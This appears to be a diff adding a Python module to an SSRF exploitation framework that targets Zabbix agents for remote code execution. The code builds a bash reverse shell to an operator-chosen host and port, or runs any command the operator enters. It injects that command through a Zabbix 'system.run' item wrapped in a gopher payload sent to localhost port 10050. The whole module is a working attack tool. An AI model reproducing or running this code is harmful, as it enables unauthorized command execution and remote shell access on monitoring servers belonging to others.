1+ from utils .utils import *
2+ import logging
3+ import urllib .parse as urllib
4+
5+ # NOTE
6+ # Require `EnableRemoteCommands = 1` on the Zabbix service
7+
8+ name = "zabbix"
9+ description = "Zabbix RCE"
10+ author = "errorfiathck"
11+ documentation = []
12+
13+ class exploit ():
14+ cmd = "bash -i >& /dev/tcp/SERVER_HOST/SERVER_PORT 0>&1"
15+
16+ def __init__ (self , requester , args ):
17+ logging .info (f"Module '{ name } ' launched !" )
18+
19+ cmd = input ("Give command to execute (Enter for Reverse Shell): " )
20+ if cmd == "" :
21+ if args .lhost == None :
22+ self .cmd = self .cmd .replace ("SERVER_HOST" , input ("Server Host:" ))
23+ else :
24+ self .cmd = self .cmd .replace ("SERVER_HOST" , args .lhost )
25+
26+ if args .lport == None :
27+ self .cmd = self .cmd .replace ("SERVER_PORT" , input ("Server Port:" ))
28+ else :
29+ self .cmd = self .cmd .replace ("SERVER_PORT" , args .lport )
30+ else :
31+ self .cmd = cmd
32+
33+ # Data for the service
34+ gen_host = gen_ip_list ("127.0.0.1" , args .level )
35+ for ip in gen_host :
36+ port = "10050"
37+ self .cmd = urllib .quote_plus (self .cmd ).replace ("+" ,"%20" )
38+ self .cmd = self .cmd .replace ("%2F" ,"/" )
39+ self .cmd = self .cmd .replace ("%25" ,"%" )
40+ self .cmd = self .cmd .replace ("%3A" ,":" )
41+ data = "system.run[(" + self .cmd + ");sleep 2s]"
42+
43+ payload = wrapper_gopher (data , ip , port )
44+ logging .info (f"Generated payload : { payload } " )
45+
46+ # Send the payload
47+ r = requester .do_request (args .param , payload )
0 commit comments